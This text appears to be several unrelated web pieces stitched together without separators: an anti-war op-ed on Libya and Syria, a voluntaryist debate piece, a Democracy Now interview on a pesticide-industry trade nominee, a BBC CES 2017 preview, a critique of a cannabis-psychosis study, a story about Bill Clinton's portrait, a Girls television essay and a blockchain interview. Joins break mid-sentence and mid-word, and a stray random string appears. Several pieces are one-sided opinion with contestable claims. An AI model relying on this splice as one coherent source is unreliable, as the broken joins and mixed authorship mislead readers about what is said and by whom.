President Obama’s advisers were even more divided over launching a new war to overthrow the government of Libya. Despite Secretary Gates telling a Congressional hearing that the first phase of a “no-fly zone” would be a bombing campaign to destroy Libyan air defenses, a Pew poll found that, while 44 percent of the public supported a “no-fly zone,” only 16 percent supported “bombing Libyan air defenses.” Even after being caught with its pants down over Iraq, the U.S. corporate media has not lost its talent for confusing Americans into war.
Secretary Gates wrote in Duty that he was so opposed to U.S. intervention in Libya that he considered resigning. President Obama was so undecided that he called his final decision a “51-49 call.” The other advocates for bombing were U.N. Ambassador Susan Rice and National Security Council staffers Ben Rhodes and Samantha Power, so Secretary Clinton was the most senior, and almost certainly the decisive voice in sealing the fate of Muammar Gaddafi and the people of Libya.
Despite a U.N. resolution that authorized military force only to “protect civilians,” the U.S. and its allies intervened to support forces who were explicitly fighting to overthrow the Libyan government. NATO and its Arab monarchist allies conducted 7,700 air strikes in seven months, while NATO warships shelled coastal cities. The rebel forces on the ground, including Islamist fundamental ists, were trained and led on the ground by Qatari, British, French and Jordanian special forces.
In their short-sighted triumphalism over Libya, NATO and Arab monarchist leaders thought they had finally found a model for regime change that worked. Seduced by the blood-drenched mirage in the Libyan desert, they made the cynical decision to double down on what they knew very well would be a longer, more complicated and bloodier proxy war in Syria.
Only a few months after a gleeful Secretary Clinton hailed the sodomy and assassination of Gaddafi, unmarked NATO planes were flying fighters and weapons from Libya to the “Free Syrian Army” training base at Iskenderum in Turkey, where British and French special forces provided more training and the CIA and JSOC infiltrated them into Syria.
Residents of Aleppo were shocked to find their city invaded, not by Syrian rebels, but by Islamist fighters from Chechnya, Uzbekistan, Jordan, Saudi Arabia, Iraq and Egypt. Despite the already brutal repression of the Syrian government, a Qatari-funded YouGov poll in December 2011 found that 55 percent of Syrians still supported their government, understanding that the alternative could be much worse.
Secretary Clinton and French President Nicolas Sarkozy assembled the Orwellian “Friends of Syria” coalition that undermined Kofi Annan’s 2012 peace plan by committing more funding, arms and support to their proxy forces instead of pressuring them to honor Annan’s April 10th ceasefire and begin negotiations for a political transition.
When Annan finally got all the countries involved to sign on to the Geneva communique on June 30, 2012, providing for a new ceasefire and a political transition, he received assurances that it would quickly be formalized in a new U.N. Security Council resolution. Instead, Clinton and her allies revived their precondition that President Assad must resign before any transition could begin, the critical precondition they had set aside in Geneva. With no possibility of agreement in the Security Council, Annan resigned in despair.
Almost four years later, hundreds of thousands of Syrians have been killed in an ever more co nvoluted and dangerous war, now involving the armed forces of 16 countries, each with their own interests and their own relationships with different proxy forces on the ground. In many areas, the U.S. supports and arms both sides.
Turkey, a NATO member and major U.S. arms buyer, is attacking the YPG Kurdish forces who have been the U.S.’s most effective ally on the ground against Islamic State. And the sectarian government to whom the U.S. handed over the ruins of Iraq is sending U.S.-armed militias to fight U.S.-armed rebels in Syria.
Obama’s and Clinton’s doctrine of covert and proxy war, by which they still tout drone strikes, JSOC death squads, CIA coups and local proxy forces as politically safe “tools” to project U.S. power across the world without the deployment of U.S. “boots on the ground,” has destroyed Libya, Yemen, Syria and Ukraine, and left U.S. foreign policy in an unprecedented crisis.
Hanging over this escalating, out-of-control crisis is the existential danger of war between the U.S. and Russia, who together possess 14,7 00 nuclear weapons with the destructive power to end life on Earth as we know it. With her demonstrated, deeply-held belief in the superiority of threats, brinksmanship and war over diplomacy and the rule of law, surely the last thing the world needs now is Hillary Clinton playing chicken with the Russians while the fate of life on Earth hangs in the balance.
Based on Sen. Bernie Sanders’ record in Congress, his prescient floor speech during the Iraq War debate in 2002 and his campaign’s position statement on “War and Peace”, he at least understands the most obvious lesson of U.S. foreign policy in the post-Cold War era, that it is easier to unleash the dogs of war than to call them off once they have tasted blood. Incredibly, this makes him almost unique among U.S. leaders of this generation.
But there are real flaws in Sanders’s position statement. He cites “vital strategic interests” as a justification for war, dodging the thorny problem that international disputes typically involve “vital strategic interests” on both sides, which the U.N. Charter addresses by requiring them to be resolved peacefully without the threat or use of force.
And instead of pointing out that Clinton’s brinksmanship with Iran risked a second war in 10 years over non-existent WMDs, he repeats the canard that Iran was “developing nuclear weapons” before the signing of the JCPOA in 2015.
Sen. Sanders has launched an unprecedented campaign to challenge the way powerful vested interests have corrupted our elections, our political system and our economy. But the same interests have also corrupted our foreign policy, squandering our national wealth on weapons and war, killing millions of people and plunging country after country into war, ruin and chaos.
To succeed, the Sanders “revolution” must restore integrity to our country’s role in the world as well as to our political and economic system.
Nicolas J S Davies is the author of Blood On Our Hands: the American Invasion and Destruction of Iraq. He also wrote the chapters on “Obama at War” in Grading the 44th President: a Report Card on Barack Obama’s First Term as a Progressive Leader.Fallacy: “Well, I suppose we’ll have to agree to disagree…”
Response:
Often the statist will conclude with both parties will “just have to agree to disagree” or similar after a drawn out debate where their defense of the state and harm against peaceful individuals has been found wanting.
The problem with this seemingly congenial note is that it assumes the discussion was a mere difference of opinion—as though those who oppose violence against peaceful people are on equal moral, economic, and logical footing as those who favor mass organized extortion and enslavement of millions. The existence of government, and more generically, all initiated violence and threats, is necessarily immoral; and there is no moral equivalence between doing such harm and refraining from it. Attempting to whitewash the discussion as if both were the same and thus both disputants were morally equivalent is dishonest.
If “agreeing to disagree” is your goal then that still means you must accept Voluntaryism, because it alone allows for me to disagree with you without harm, whereas the government “solutions” of the statist gives me no say and are imposed by force.
If this reasoning were applied to battery, it would not be considered acceptable: “Oh, you don’t want me to beat you? But I do want to beat you! I guess we’ll just have to agree to disagree… while I beat you to death, of course.”
“It’s just your/my opinion”
“Oh god, I hate it. The same thing with ‘It’s just my opinion!!!’ Um, your opinion is wrong. You can’t spout off copious amounts of bull and then claim it’s your opinion like I’m not going to deconstruct all the idiocy you just vomited in my direction.” —Joey Rodman
If it’s “just your opinion”, and you’re not claiming it’s right, wrong, or even useful, then why bother, as you already believe it’s not a positive contribution to the discussion? No, you contributed it because you thought your addition was correct or useful, so stand behind it. And if you’re not sure about something, ask questions; don’t vapidly assert.
“It is no crime to be ignorant of economics, which is, after all, a specialized discipline and one that most people consider to be a ‘dismal science.’ But it is totally irresponsible to have a loud and vociferous opinion on economic subjects while remaining in this state of ignorance.” —Rothbard
You don’t have to know about everything; but if you don’t know, don’t claim to know. It makes you appear foolish; there’s always someone that knows more about the topic than you.
On the other hand, if I explained something from first principles, using logic and sound reasoning, then it is not “just my opinion”; it is fact, or theory, and if you believe an error has been made, it is incumbent on your to identify a fallacy (error in reasoning) rather than claim that the rational case that has been built is mere unsupported opinion.
___________________________
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Discuss this articleThis is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: At the end of the broadcast, we’ll look at poverty in the world and the UN food summit, but right now we look at President Obama’s nominee for the Chief Agricultural Negotiator in the office of the US Trade Representative. Islam Siddiqui is currently vice president at CropLife America, a coalition of the major industrial players in the pesticide industry, including Syngenta, Monsanto, Dow Chemical. He was previously a lobbyist for CropLife and also served in the US Department of Agriculture under President Clinton and the California Department of Food and Agriculture.
Over forty-six agribusiness groups signed a letter supporting his nomination, but a coalition of over eighty environmental, family farm and consumer groups sent a letter to the Senate Finance Committee urging them to reject his nomination. The letter says Siddiqui’s record and statements, quote, “show his clear bias in favor of chemical-intensive and unproven biotechnology practices that imperil both our planet and human health while undermining food security and exacerbating climate change,” unquote. Siddiqui defended his record at a Senate committee hearing earlier this month, and a final vote is expected before the World Trade Organization ministerial conference November 30th.
Marcia Ishii-Eiteman is a senior scientist at the Pesticide Action Network of North America and one of those leading the charge against Siddiqui’s nomination, joining us here in San Francisco.
Welcome to Democracy Now! What are your concerns with his nomination?
MARCIA ISHII-EITEMAN: Thank you, Amy. Well, it’s very good to be here.
Our concerns are quite simple. Putting a pesticide pusher in charge of US agriculture, particularly in the Trade office, is bad government. It’s not what Obama promised us during his campaign trail. He did say no lobbyists in the White House. And we know that Islam Siddiqui is a former paid lobbyist for CropLife and is currently and has been for the last many years a senior executive at this association.
AMY GOODMAN: Explain what CropLife is.
MARCIA ISHII-EITEMAN: CropLife is the pesticide industry’s trade association. They’re the major lobbying group. And as you mentioned earlier, their members consist of Monsanto, Dow, DuPont, all the major pesticide and biotech manufacturers. What their agenda is is actually quite straightforward. It’s opening new markets for pesticides and for the genetically engineered seeds that go with them. Their agenda is also to weaken international environmental treaties and any kind of environmental protections or regulations that might somehow get in the way or constrain the production, sale and export of their products.
AMY GOODMAN: Talk about the organizing that’s going on right now and if you see Siddiqui’s nomination as indicative of the whole approach of the Obama administration. I mean, you have Michelle Obama, the main advocate now for organic farming, or at least organic gardening at the White House.
MARCIA ISHII-EITEMAN: Correct, and it’s rather ironic in that this appointment of a CropLife representative, Mr. Siddiqui, he comes from the very same organization that infamously shuddered at Michelle Obama’s planting of this White House organic garden.
AMY GOODMAN: Explain.
MARCIA ISHII-EITEMAN: Well, when she first announced and began developing this organic garden at the White House as a way of highlighting to the public and letting people know that local fresh and organic produce is actually healthier for our bodies and for our children, CropLife’s regional partner in the Midwest sent a letter to Michelle Obama expressing their deep concern that she was setting a bad example for the rest of the country by not using their chemical pesticides. And then they organized a letter writing campaign to urge her to abandon this practice and start using pesticides as soon as possible.
So there’s a great deal of irony here, but the problem is — goes deeper than the irony, and it even goes deeper than this revolving door that we’re seeing. I think what we have with the Obama administration is a very mixed bag of let’s try to do both and everything together, but predominantly, at the basis of the administration’s agriculture policy is a commitment to a fundamentally flawed industrial model of agriculture that is chemically intensive, energy and water intensive, and that is not the solution for the kinds of changes that the planet and US farmers, in particular, are facing in the coming years and decades with climate change, water scarcity and this rapidly diminishing supply of fossil fuels. What we really need to be doing is getting off the pesticide GMO treadmill and moving as quickly as possible on to the right kind of agroecologically based farming that history and science now tells us is really the most robust way forward.
AMY GOODMAN: How do you think his nomination squares with the nomination of Kathleen Merrigan, an advocate of sustainable agriculture, as Deputy Agriculture Secretary?
MARCIA ISHII-EITEMAN: That, there’s a quite a contradiction here. You know, we get, on the one hand, Tom Vilsack as head of USDA, very fine personal qualities, but a very strong commitment, again, to genetically modified organisms and biotech as the latest shiny new technology that we can put on the rest of the world. Then we have Kathleen Merrigan, yes, who is well known for her interest and support of organic farming. So what we have is this very inconsistent policy. But underneath — and perhaps what’s most important is where the key people in the administration and in US agriculture are going. And so, putting Siddiqui in charge of the US Trade Office is very telling.
It’s a bankrupt policy for this country and for the rest of the world. It may seem that, oh, it’s right, what we need is to have agricultural exports increasing and to get our GMOs onto the market, but we’re really behind the times. The rest of the world does not want our GMOs. They have made that clear. Trying to push them forward, in the face of history, in the face of science, is not the best solution. The most comprehensive assessment of agriculture today, the UN-led International Assessment of Agricultural Knowledge, Science and Technology for Development, or the IAASTD report, has said very clearly that business as usual is not an option. We must shift away from these uniform, single, high-tech, and frankly corporate control solutions, like chemical pesticides and biotech, towards agroecological, resilient and regenerative farming systems. But these kinds of changes are really anathema to CropLife and to the kinds of crop protection products that Mr. Siddiqui has been promoting throughout most of his career.
AMY GOODMAN: Well, speaking of the United Nations, we’re going to turn now to the United Nations food summit that’s taking place in Rome. Marcia Ishii-Eiteman, I want to thank you very much for being with us, senior scientist at the Pesticide Action Network. We will link to |
es the blacks" making it hard to distinguish detail in the shadows.
Image copyright Getty Images Image caption Panasonic was once famed for its plasma TVs, now its focus is OLED
Even so, OLED retains a wow factor thanks to its ability to control the light of each individual pixel, helping its images to have more "pop", and its screens to be ever thinner.
Panasonic has hinted it will show off an OLED display at CES that will better handle dim scenes, and there is speculation Sony has similar news.
Plus there's reason to believe prices are about to drop.
Until recently, LG manufactured all the OLED panels used by itself and other brands. But now BOE - a Chinese company - has a rival component. The question is who will break ranks to adopt it.
Image copyright Getty Images Image caption QLED, UHD, HDR, HLG - OMG!!! - be prepared to get your head round a lot of acronyms if you want to understand the latest TV tech
Expect Samsung to make a loud noise about QLED, a new spin on its "quantum dot" technology that allows its screens to be brighter than ever before.
That's important because of HDR - another acronym you're going to have to get used to. It refers to high dynamic range, which allows images to appear more vibrant and detailed - especially in scenes containing both glints of light and shadows.
Image caption Dolby claims its version of HDR offers the best picture quality, but most TV-makers have opted to support the open source HDR10 standard instead
The problem is that there are three rival HDR standards - HDR10, Dolby Vision and the BBC's forthcoming HLG - meaning the potential for another format war.
But it is possible to support all three, so it will be revealing to see if any of manufactures make a commitment to do so with their new screens.
Smart home and other "internet-of-things"
It's now relatively cheap and power-efficient to add sensors and wireless data links to products. That's led to an explosion of ideas - some more sensible than others.
Image copyright Genican
It's debateable how many of us really need Genican, for example, a device that scans rubbish's barcodes as it is thrown away in order to build up a shopping list of replacement items.
Likewise, it's not clear whether an aromatherapy diffuser needs to be smartphone-controlled, even if its scents really boost memory and clean lungs, as claimed.
Media playback is unsupported on your device Media caption WATCH: A new gadget at CES allows users to change the smell of a room via a tap of an app.
Where things get more interesting is when tech genuinely makes lives simpler without requiring too much effort.
One way firms are trying to do this is by focusing on the refrigerator.
LG has a model that activates a sterilisation process when it senses temperature and/or humidity issues in order to extend food's shelf life.
And for those who would prefer to retrofit their existing equipment, UK start-up Smarter Applications has Fridgecam: a device that keeps track of what its owners have in stock and when it expires, sending alerts to buy new items when necessary.
Image copyright Smarter Applications Image caption The Fridgecam shows owners what's in their fridge and can suggest recipes based on the contents
But one expert says if the sector is to achieve its potential, consumers need to be reassured that the risks do not outweigh the benefits.
"In the last 18 months the conversation about security and privacy has moved from the tech pages to the front pages of newspapers," said John Curran from the consultancy Accenture.
"To make these devices easy to connect and easy to use, some companies have hardcoded passwords or put no security measures in place, and that made them an easy target.
"At CES we're looking for businesses to be more transparent about what data is being collected, how it's being used and with whom it's being shared.
"And they need to make it easier for consumers to adjust their security settings."
Virtual and augmented reality
Image copyright Getty Images Image caption HTC beat Sony and Oculus to bring a virtual reality headset to market in April
There are rumours that HTC will unveil a second-generation Vive VR headset at CES - possibly introducing wireless capabilities - but the system is only nine months old, so that seems a tad optimistic.
The two other big virtual reality firms - Sony and Facebook's Oculus division - launched their kit even more recently.
Even so, there should still be lots of developments.
Huawei has just hired Steve LaValle, one of the brains behind Oculus, and the Chinese firm is set to reveal more about its VR plans at the show.
It's a safe bet that several third-party headsets previously teased by Microsoft will also be on display.
Image copyright Microsoft Image caption In October, Microsoft disclosed that several firms were working on Windows 10 compatible VR headsets
And we will also see the introduction of Fove, a crowdfunded VR headset with eye-tracking abilities, allowing gamers to control action with shifts in their gaze.
Fove won't be the only one trying to offer new ways for users to interact with virtual experiences.
Image copyright Fove Image caption Fove raised $480,000 for its eye-tracking headset via Kickstarter and plans to start delivering them during the week of CES
A foot controller that lets you direct where your character walks, a sensor-laden T-shirt that tracks your torso's movements, and various haptic devices that try to let consumers feel virtual objects are just some of the products with CES stands.
With augmented reality - where graphics and real-world views are mixed together - things are still at an early stage.
But Asus and others may reveal handsets that include Google's Project Tango depth-sensing technology, adding basic AR capabilities.
Image copyright Intel Image caption Most augmented headsets overlay graphics over the real world, but Intel is taking the reverse approach
Intel will have more to say about Project Alloy - a headset that lets you see your hands and other real-world objects within VR worlds.
And a start-up called Occipital will demo a contraption that uses an iPhone to create something akin to Microsoft's HoloLens mixed-reality headset.
While hardware may dominate the headlines, it could be content that determines which products are winners.
Image copyright Occipital Image caption Occipital's Bridge headset scans the surrounding area to create a digital copy in which the user can interact with virtual characters
"In the US the National Basketball Association recently announced that it will broadcast games in virtual reality," noted Mr Curran.
"And as other big media and content companies get involved, they will attract more types of consumers to VR, rather than just the tech-enthused.
"So, I'll be looking to see which platforms the media providers target as they pursue opportunities in this space."
Transportation
There's going to be a lot of talk and demos of self-driving cars by the big automakers on and off the Las Vegas strip.
Image copyright Rinspeed Image caption Rinspeed will be exhibiting a concept vehicle designed for a self-driving future
Menawhile, rival chipmakers - including Intel, Nvidia and Qualcomm - will be excitedly pitching their processors and 5G chips as the potential heart of the autonomous vehicle revolution.
But you'll have to wait for a future CES to find anything road-ready that allows the "driver" to really ignore the steering wheel.
Image copyright BMW Image caption BMW says the functions of its concept car can be controlled without any physical contact
This time round, look instead for new ways to interact with your vehicle.
BMW will unveil its HoloActiv Touch system, in which motorists use finger gestures to interact with graphics that project out of dashboard screens.
And Continental will demo facial recognition tech that recognises who is driving and adjusts mirror and seat positions accordingly.
Faraday Future is also back for a second year to convince sceptics that it can launch an electric car before its funds dry up.
Image copyright Faraday Future Image caption Faraday Future has posted teaser videos in which it claims its car can accelerate from standstill more quickly than the Tesla Model X
There will also be all kinds of alternative transport ideas including an intelligent scooter that shuts off its power if it detects an accident, a motorised rideable suitcase and the latest evolutions of the hoverboard.
Odds and ends
And we've still barely scratched the surface. There are zones dedicated to drones, beauty tech and 3D printing.
Plus there's room for oddities, such as a device that claims to be able to record smells.
Image copyright AEE/Magic Instruments Image caption AEE will be showing off a "flying selfie stick" while Magic Instruments claims people can learn to play its Mi Guitar in minutes
The BBC tech team will do its best to keep you across all the major developments from the first press day on Tuesday until the show floors shut on Sunday.
You can keep up to date at bbc.co.uk/ces2017 and by following our Twitter list of those covering CES.News » Study Linking Cannabis and Early-Onset Schizophrenia Flawed
A study published in the American Medical Association’s Archives of General Psychiatry (online) has made some big headlines in the recent press. Headlines like “Researchers Link Marijuana and Earlier Onset of Psychosis” (NPR) and “Marijuana Schizophrenia Link: Drug Could Cause Earlier Onset of Psychosis” (Huffington Post). Those, indeed, are the general conclusions for the study, but the study itself has two major flaws that undermine its findings. You won’t see either of these flaws pointed out in the popular media, of course.
Why?
Because that would require that those reporters actually read the study itself and then apply some logic and reasoning of their own. Something most mainstream reporters are apparently unable to do – or aren’t allowed to do, take your pick.
First, the study itself. It’s titled Cannabis Use and Earlier Onset of Psychosis and was compiled by several Australian researchers and published on February 7, 2011 at the Archives of General Psychology. It’s available online, for free, to anyone who cares to read it.
The research is a compilation (rather than an original study) of results from earlier published scholarly articles – 83 of them to be exact – dealing with the relationship between marijuana (cannabis) and schizophrenia and related psychosis.
This meta-analysis, according to the authors’ conclusions, provides evidence for a relationship between cannabis and earlier onset of psychotic illnesses. To the tune of possibly causing schizophrenia to be diagnosed an average of 2.7 years earlier than otherwise. One thing often missed or buried in these reports is the fact that those included in the studies already had a predisposition towards psychosis (usually by genetics).
All of this has resulted in a slew of reportage from various media outlets regarding this “new evil” for marijuana. The study, however, has two major flaws that undermine its findings. One of these is addressed by the authors themselves as a limitation that could not be overcome. That was the possible link of tobacco with these same findings.
Studies in the past have shown that most marijuana users are also tobacco smokers – either separately or by mixing with cannabis. This could not be removed from the study, which means that it could be tobacco itself causing the problem. Or any of the 599 ingredients found in cigarettes such as ammonia, various ethyls, and any of dozens of acids and carcinogens. It could be those wonderful things that are actually triggering the early onset psychosis.
Similarly, and not addressed by the study’s authors, is the fact that other drugs were also not accounted for in many of the papers used to make this analysis. So it’s not possible to know if these marijuana users, in many cases, were also cocaine, heroine, LSD, etc. users; either directly or indirectly (more on that in a moment). The only substance accounted for in the analysis was alcohol – which was exonerated as a threat.
The study did, however, find that a higher proportion of cannabis users did have earlier onset psychosis, but this is not conclusive because of all of the unaccounted for inputs that could not be rectified.
The trouble with studies of the type used in this meta-analysis is that they are usually based on indirect observation – they are based on what patients tell them and what simple drug tests might say and not on direct experimentation. Obviously, direct experimentation is not possible for this type of inquiry – using human guinea pigs is unethical. So studies of this nature are, by nature, highly subjective. Here’s why:
First, the patients in the study are subjectively giving answers to questions – the questions themselves are usually crafted in such a way that the researchers can be reasonably sure they’re getting a quantifiable answer, but there is always room for question. One patient’s “twice a week” pipe smoking might be another patient’s “twice a week, suck down an eighth bender”, but the study will still show “twice a week.” Further, one patient’s source for cannabis might be routinely cutting it with other substances (catnip, parsley, tobacco, whatever) or adding something to make it “chronic” while another source may not be.
Secondly, the studies themselves are often done years after the fact. For instance, the patients in one cannabis-marijuana study might have been diagnosed with schizophrenia 5 years ago, so the questions being asked are being answered from memory 5 or more years after the fact.
All of this lends question to the study’s outcomes. This same reasoning is why many doctors refuse to accept data showing that cannabis effectively, reliably and safely alleviates pain. Studies showing this to be the case are based on subjective patient feedback and are thus questionable.
The problem here is not with the study itself, though it is flawed, but with the way it’s been reported in the mainstream. It’s more evidence of the bad reportage and objective-driven editorial behind most mainstream media.
Tags: ama, american medical association, cannabis, marijuana, psychosis, schizophrenia, scienceBill Clinton’s presidential legacy will forever be marred by the Monica Lewinsky scandal, even though he “did not have sexual relations” with the former White House intern. That small stain in his career was reportedly commemorated in a 2006 official portrait of Clinton that now hangs in the National Portrait Gallery in Washington, D.C. The 77-year-old-artist, Nelson Shanks, who painted the former president, has revealed he snuck a Lewinsky reference onto the painting. Shanks spilled the news to the Philadelphia Daily News while saying the forty second president was “hard” to capture:
“The reality is he's probably the most famous liar of all time. He and his administration did some very good things, of course, but I could never get this Monica thing completely out of my mind and it is subtly incorporated in the painting.”
In the painting, there’s a shadow cast onto the mantle that is supposed to be the shadow of the infamous blue Lewinsky dress that became a crucial piece of evidence in the investigation of the scandal. (Does "he Monica Lewinsky'd all on my gown" ring a bell?)
“It actually literally represents a shadow from a blue dress that I had on a mannequin, that I had there while I was painting it, but not when he was there. It is also a bit of a metaphor in that it represents a shadow on the office he held, or on him.”
Shanks says the Clintons hate the portrait (with good reason) and have been trying to get rid of it, though a spokeswoman from the National Portrait Gallery denies those claims. You can see the full portrait below:
V3Nmlxcjq7PKmBHcq48O-EMHRMTfl2_F
[via Philadelphia Daily News]This week on Dear Television:
“Girls and the Labor of Self,” from Anne Helen Petersen
¤
Girls and the Labor of Self
By Anne Helen Petersen
March, 17, 2014
Dear Television,
IS HANNAH A MARXIST? Of course not. But she might be a Liberal Arts Marxist. Hannah went to Oberlin, a small liberal arts college, where you take a freshman seminar and have a very heated and slightly hungover discussion about Marxism, with the takeaway that labor should be meaningful and fulfilling, and when it’s not — when we become alienated from it, a favorite Liberal Arts Marxist phrase — it’s proof that Capitalism is broken and the masses should rise up or, in Hannah’s case, tell her co-workers that they’re “dead souls” in “a sweatshop factory for puns.”
That’s a hackneyed understanding of Marx, of course, but most of our understandings of philosophers from freshman year are hackneyed. And we’ve known Hannah long enough to believe that she’d use a freshman seminar thinker — or any concept, at any point — to justify her actions, especially quitting a job. This episode was all about labor, though, and not just Hannah’s, but how each character labors, and more importantly, how he or she conceives of labor, goes a long way towards explaining his or her trajectories through Season Three.
Marnie famously wants a “pretty person job,” but what she really wants — what working in an art gallery is all about — is to be so perfect as to disappear entirely. Opinions are scary and divisive — she can’t even tell the photographer whether the piece should move up or down — as is starting your own place or being an artist yourself. For someone who’s never had to be interesting, just pretty, the gallery girl position is ideal….and totally stagnant. Marnie started the series as a gallery girl, and now she’s back in the position, only this time, her self-indulgent boss is even younger than she is. Marnie’s under-valued and resents it, but she’s never shown that she actually has worth as a laborer. When she sings, she’s always covering songs, and never with any value added — if anything, her covers devalue the originals.
Which is why the open-mic night was framed as a breakthrough — or at least a potential one. The only way for Marnie to stop being an unsatisfied assistant is to produce her own work, and Desi helped convince her that her ramblings “written on Ambien” were worth something. Her thoughts, not her body — which is part of what makes his resistance to her beauty so refreshing. Marnie’s not pissed that Desi doesn’t desire her; rather, she’s completely befuddled that someone could find her talented for something other than being pretty. Marnie can embrace and act on that attitude — or just fall back into old habits, seducing the talent and flattering it.
Jessa doesn’t work. Even when she has a job, she’s not working: she’s just Jessa-ing around. We’ve never heard Jessa talk about money (save mention of the rehab facility, which was the only one her grandmother would pay for) because, like royalty and presidents, she’s removed from the actualities of commerce. When she needs a place to sleep, she has Shoshana’s; when she needs a drink, she has a man buy one for her. Her clothes emerge from a seemingly ever-lasting fount of old lady vintage. Jessa would never conceive of her behavior as mooching — that would require seeing herself as taker and others as givers. Jessa’s coping strategy (although she’d never call it that) is to simply conceive of everyone as being in the world — it’s a handy way to obviate how significantly her father took from her.
So when Jessa takes a job, it’s not for capital. In Season One, she’s bored with being back in America, so she takes a job as a nanny — not because she likes kids or even has skill at taking care of them, but simply as a change of scenery, a different landscape in which to Jessa around. She takes the job at the children’s store as a means of distracting herself; when it proves stultifyingly boring — when there’s no customers for her to perform for/agitate — she tries to attract them with inappropriate window mannequins. She takes the job with the photographer at the gallery as a distraction from the stultifying reality of being off drugs. Jessa doesn’t labor; she “experiences” working.
That experiential attitude to life is part of what makes Jessa so magnetic. When Hannah talks about how Jessa used to dance on the quad in rain boots and a bikini, juggling knives, I knew exactly the type of girl she was talking about — I’ve been beguiled by several — but also knew just how destructive that tremendous self-focus can be. It’s not that Jessa needs to have a job so much as labor for something outside of herself — including, but not limited, to fixing what she’s broken with Shoshana.
For Shoshana, work is quite literally a mental concept. We’re to understand that she’s labored diligently for the last four years to set up her “fifteen year plan” for adult success, and that labor has been all about immaculate grades. But you never hear Shosh talk about a class, or a theory, or even something she’s passionate about that isn’t a pop culture reference — I’d love for her to be a media studies major and all her conversation to be cultural studies work, but I have to guess she’s either Communications or Business. Practical choices for a practical future, but also completely unchallenging — at least not for Shosh. When we see her struggling to study, it’s never because the material is hard, but because other things in her life (boys, Jessa) interest/distract her more.
Like so many second semester seniors, she’s over college — but she’s also over her friends treating her like shit and screwing boring yet hot boys. I can’t wait for Shosh to graduate and be faced with the boringness, the very lack of velocity, that accompanies an actual job on the route to her 15 year plan. When what, to this point, has all been well-practiced theoretical concepts — of academics, of life — are put in practice.
When Jessa first sees Adam in Season One, she comments that he does look like “the original man.” With his hulking frame (and generalized lack of shirt), it make sense — as did his general antipathy towards organized capitalist labor. If he could live in a world without currency, where people just bartered and appreciated each other, he would; his privilege, manifest in the form of monthly money from his Grandmother, enabled him to approximate that philosophy as closely as possible while living in a place that is neither Eugene, Oregon nor Burning Man. But Season Three Adam has been filled with disclosures — that his weird sex habits were to distract him from wanting to drink, for one, but also that he always acts like he doesn’t care (especially about try-outs) because he does.
Adam has always valued embodied labor: he might not have made much, but he prided himself on laboring at something that didn’t involve looking at a computer screen. Acting is just another form of embodied labor, only for the first time, someone who is not Hannah has validated that skill. In Zen terms, he’s a fiercely present person; that’s why he hates phones: because he wants to be doing what he is doing. Hannah sees his desire to extract himself from their relationship as selfish and unfair, but for Adam, it’s the only way he knows how to labor: wholly.
Hannah should recognize this desire. When she tells her fellow GQ writers that “I want every day to be exciting, and sexy, and a rollercoaster of creative experience as if I’m making a new life for myself in France,” she essentially talking about an embodied, wholly present experience, when you live and breath your work, blood and tears and triumph, like our well-worn dreams of Hemingway pounding on his typewriter in a Paris flat. It’s a romantic vision, and part of what Hannah finds so sexy about Adam is his ability not just to speak about laboring in this way, but to do it.
But Hannah is incapable of laboring like that:, and her breakdown at the end of Season Two underlined as much. She’s a talker, not a do-er; when she comes home from work, she wants to endlessly process. Before Adam, she had Marnie; before Marnie, she had Elijah; before Elijah, she had her parents. She’s cycled back to Elijah now, but the only way Hannah knows who she is — the only way she can be the “truly authentic person” she prides herself on being — is through speech. Writing, sure, but speech above all else: she and her labor are authenticated only through others.
Twitter, blogging, e-books — these are all public modes of writing that attract outside acknowledgement. Not of skill, necessarily, but of presence and labor: she is a writer because others recognize her as one, and part of her labor as a writer is talking about wanting to live an embodied artistic life while never doing it. It’s the same impulse as Tweeting about wanting to go on the Amtrak Residency, or dreaming of the secluded wilderness cabin. With age, we realize that we like thinking about these things more than doing them, and that fantasies, even ones we’ll never pursue, are just as crucial to identity as the lives we do lead. But Hannah lacks the wisdom to see the difference between what she wants and what she needs — or, more precisely, what can and should remain a guiding philosophy and what’s tenable and translatable to a lived experience.
We live in a post-industrial economy, and the vast majority of labor, especially for privileged, white, educated 20-somethings, is phantasmagoric: a performance of personality, not skill. The problem with that equation is that normal Marxist critiques don’t apply: you can’t be alienated from your labor when your labor is being yourself. Or, if you are, it entails a fundamental breakdown, an existential crisis: if I hate what I do, and what I do is “myself,” do I also hate that self? Each of Girls character is grappling with this question, or its spectre, and maybe, to some extent, each of us is too — which is why, for all of its inconsistencies, we’re still watching.
Everything’s my business,
Anne Helen Petersen
¤Imagine what the internet did for communication and the exchange of information. Now picture that kind of sweeping change to the world of money; that sort of ease and transparency applied to banking, stock markets and the ability of companies to raise money.
As Alex Tapscott tells Day 6 guest host Peter Armstrong, we are moving on from the internet of information and beginning the age of the "internet of value."
The value of the stock market is $80 trillion so we're tackling pretty big markets here. - Alex Tapscott, NextBlock Global
Tapscott is the chief executive officer of NextBlock Global, a Toronto-based digital currency investment firm.
Don and Alex Tapscott's book, Blockchain Revolution, argues the technology underlying Bitcoin will revolutionize almost every facet of online activity. (Alex and Don Tapscott)
"Blockchain represents the second generation of the internet," he says, referring to the technology that allows people to send and receive money through the internet without using a bank.
Tapscott also co-wrote Blockchain Revolution: How the Technology Behind Bitcoin is Changing Money, Business and The World with his father Don Tapscott.
"Blockchain allows us to change the way we move, store and manage assets in the economy... we're talking about industries that are a lot bigger than Blockbuster... we're talking about stock markets."
Bitcoin, first released in January 2009, is the cryptocurrency most people know. It is notoriously volatile, but at of the time this story was published, it is enjoying a record-breaking high. One bitcoin is worth nearly $6,000 Canadian dollars.
Despite Bitcoin's success, Tapscott says a rival, ethereum, is the one to watch because it's far more versatile. It's not just a cryptocurrency, it's a platform that entire businesses and entire markets can be built upon.
An image of Bitcoin and US currencies is displayed on a screen as delegates listen to a panel of speakers during the Interpol World Congress in Singapore in July, 2017. (Roslan Rahman/AFP/Getty Image)
"You can build applications that replace sharing economy companies like Uber, or applications that could change the music industry," he says.
"That's a radical transformation because assets are foundational to the whole economy. I mean the value of the stock market is $80 trillion so we're tackling pretty big markets here."
The rise of ethereum
While ethereum is a global phenomenon, most of the founding team is Canadian. The brain behind the platform is Vitalik Buterin, a 19-year-old Russian-Canadian and University of Waterloo dropout.
Alex Tapscott's work focuses on the impact of emerging technologies on business, society and government. (Northwest Passage Ventures)
Tapscott says ethereum is likely the most important startup in Canadian history because it's become the investment bank of the blockchain world.
"Two-thirds of all new companies that are built in this sector are now being built using the ethereum standard," Tapscott says. "And the value of companies built on top of ethereum is now many billions of dollars."
He also says that when it comes to global leaders in blockchain, Canada has a place at the table.
